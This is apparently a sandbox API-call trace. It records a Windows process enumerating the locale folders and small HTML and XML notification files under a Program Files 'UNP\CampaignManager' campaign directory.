	[0154.116] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0154.116] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b914a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3e2af7, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-CA", cAlternateFileName="")) returned 1
	[0154.120] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0154.120] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b93b92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e408d2a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB", cAlternateFileName="")) returned 1
	[0154.123] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0154.123] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c098ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e408d2a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-HK", cAlternateFileName="")) returned 1
	[0154.126] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0154.126] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c0b4b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ID", cAlternateFileName="")) returned 1
	[0154.132] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0154.132] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c6d3fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-IE", cAlternateFileName="")) returned 1
	[0154.136] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0154.136] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7ca1328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-IN", cAlternateFileName="")) returned 1
	[0154.139] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0154.139] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d0e1e3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-MY", cAlternateFileName="")) returned 1
	[0154.325] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0154.325] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d107f6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-NZ", cAlternateFileName="")) returned 1
	[0154.328] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0154.328] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d8451a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-PH", cAlternateFileName="")) returned 1
	[0154.332] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0154.332] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7de1d75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e47b424, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0154.335] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0154.335] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7de3d39, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e47b424, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ZA", cAlternateFileName="")) returned 1
	[0154.338] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0154.338] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7e82a38, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-AR", cAlternateFileName="")) returned 1
	[0154.342] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0154.342] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f2851c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-CL", cAlternateFileName="")) returned 1
	[0154.345] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0154.345] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f2a5d6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-CO", cAlternateFileName="")) returned 1
	[0154.348] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0154.348] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f8f938, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1
	[0154.351] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0154.351] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f926c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-MX", cAlternateFileName="")) returned 1
	[0154.356] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0154.356] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7fd9866, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-US", cAlternateFileName="")) returned 1
	[0154.360] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0154.360] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4edb3a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa803fb1a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e93ff63, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-XL", cAlternateFileName="")) returned 1
	[0154.363] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0154.363] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e9661e4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa80b9206, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ebc8896, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1
	[0154.744] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e9661e4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa80b9206, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ebc8896, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0154.744] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ea24eee, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ea24eee, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x94f2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0154.745] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ea24eee, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ea24eee, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3b8f4c00, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x240, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0154.745] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ea24eee, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ea24eee, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x187, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0154.745] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ebc8896, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0154.745] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ebc8896, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0154.745] FindClose (in: hFindFile=0x5dd840 | out: hFindFile=0x5dd840) returned 1
	[0154.746] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0154.746] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8130bd1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ec87470, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-ES", cAlternateFileName="")) returned 1
	[0154.746] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x462efb8
	[0154.746] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\eu-ES") returned 100
	[0154.746] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\eu-ES\\*", lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8130bd1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ec87470, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dde00
	[0154.749] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8130bd1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ec87470, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0154.749] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ebc8896, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0154.749] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ebc8896, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0154.749] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebee9e0, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ebee9e0, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0154.750] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ec87470, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ec87470, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0154.750] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ec87470, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ec87470, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0154.750] FindClose (in: hFindFile=0x5dde00 | out: hFindFile=0x5dde00) returned 1
	[0154.750] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0154.751] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ecad633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa817116e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ed6c2ab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1
	[0154.751] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x462efb8
	[0154.751] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fi-FI") returned 100
	[0154.751] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fi-FI\\*", lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ecad633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa817116e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ed6c2ab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0154.753] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ecad633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa817116e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ed6c2ab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0154.753] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ecad633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ecad633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x990a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0154.753] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ecad633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ecad633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3b8f4c00, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x250, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0154.753] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ecad633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ecad633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0154.753] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ed6c2ab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ed6c2ab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
